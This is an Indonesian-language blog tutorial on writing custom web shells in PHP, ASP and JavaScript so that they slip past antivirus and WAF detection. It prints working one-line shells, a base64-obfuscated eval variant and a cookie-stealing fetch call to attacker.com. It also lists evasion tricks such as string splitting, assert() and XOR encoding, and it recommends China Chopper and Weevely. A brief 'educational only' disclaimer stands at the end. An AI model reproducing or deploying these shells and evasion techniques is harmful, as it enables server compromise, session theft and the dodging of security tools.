Cara membuat web shell sendiri

Cara Membuat Web Shell Sendiri (PHP, ASP, dan JS) agar Lolos Deteksi

Cara Membuat Web Shell Sendiri
(PHP, ASP, dan JS) agar Lolos Deteksi


Author : NyxCode

🕷️ Pendahuluan


Web shell adalah script berbahaya yang memungkinkan attacker menjalankan perintah langsung di server target melalui browser. Banyak attacker beralih ke web shell custom karena shell publik seperti c99 atau r57 sudah dikenal dan mudah dideteksi oleh antivirus, WAF, atau security tools.

Di artikel ini, kita akan belajar cara membuat web shell sendiri di PHP, ASP, dan JavaScript, serta trik mengenkripsi agar lolos deteksi.

⚡ 1. Apa Itu Web Shell?

Web shell adalah script yang diupload ke server yang memungkinkan perintah dijalankan dari jarak jauh. Misalnya:

  • PHP shell ➔ menggunakan system() atau exec()
  • ASP shell ➔ menggunakan Execute()
  • JS shell ➔ biasanya digunakan dalam XSS untuk backdoor browser

Web shell bisa berupa reverse shell (menghubungi attacker) atau simple shell yang menunggu perintah.

⚙️ 2. Membuat Web Shell Sederhana di PHP

Shell basic yang sangat umum dipakai:

<?php system($_GET['cmd']); ?>

Tinggal akses:

http://target.com/shell.php?cmd=ls

⚠️ Masalah: Mudah dideteksi oleh signature-based antivirus & WAF.

🔒 3. Mengenkripsi & Obfuscate Web Shell

Untuk menghindari deteksi, shell bisa diobfuscate dengan base64, gzinflate, atau str_rot13.

Contoh teknik base64:

<?php eval(base64_decode('c3lzdGVtKCRfR0VUWydjbWQnXSk7')); ?>

Contoh teknik gzinflate:

<?php eval(gzinflate(base64_decode('...'))); ?>

Tips Lolos Deteksi:

  • Hindari eval() terlalu banyak
  • Ganti nama parameter dari cmdaccessCode atau random string

🐍 4. Membuat Web Shell di ASP

Shell sederhana untuk server Windows/IIS:

<% Execute(Request("cmd")) %>

Akses via URL:

http://target.com/shell.asp?cmd=dir

⚠️ 5. JavaScript-Based Backdoor

Web shell berbasis JS biasanya digunakan untuk XSS.

Contoh: mencuri cookie:

fetch('http://attacker.com/steal?cookie=' + document.cookie);

Atau menjalankan script untuk interaksi lanjut dengan attacker server.

🕶️ 6. Tips Lolos Deteksi

Beberapa trik untuk menyembunyikan payload:

  • Split string, contoh:
    $func = 's'.'ystem'; $func($_GET['cmd']);
  • Gunakan assert() sebagai alternatif eval()
  • XOR encoding payload sebelum dijalankan

🧰 7. Tools yang Bisa Dipelajari

  • Weevely ➔ PHP shell terenkripsi
  • China Chopper ➔ Shell kecil tapi powerful
  • Pentestmonkey reverse shell ➔ Contoh yang clean dan efektif

🛡️ 8. Catatan Penting

⚠️ For Educational Purpose Only! Artikel ini hanya untuk edukasi keamanan. Jangan gunakan untuk eksploitasi ilegal. Penting untuk Blue Team agar lebih paham taktik attacker.

📝 Kesimpulan

Web shell custom jauh lebih stealthy daripada shell publik. Dengan teknik encoding dan parameter random, shell jadi lebih susah dideteksi. Penting untuk selalu update teknik karena keamanan server terus berkembang.

🔗 Referensi

  • GitHub: awesome-webshell
  • OWASP Testing Guide
  • Tools: Weevely, China Chopper, Pentestmonkey

Post a Comment

Lebih baru Lebih lama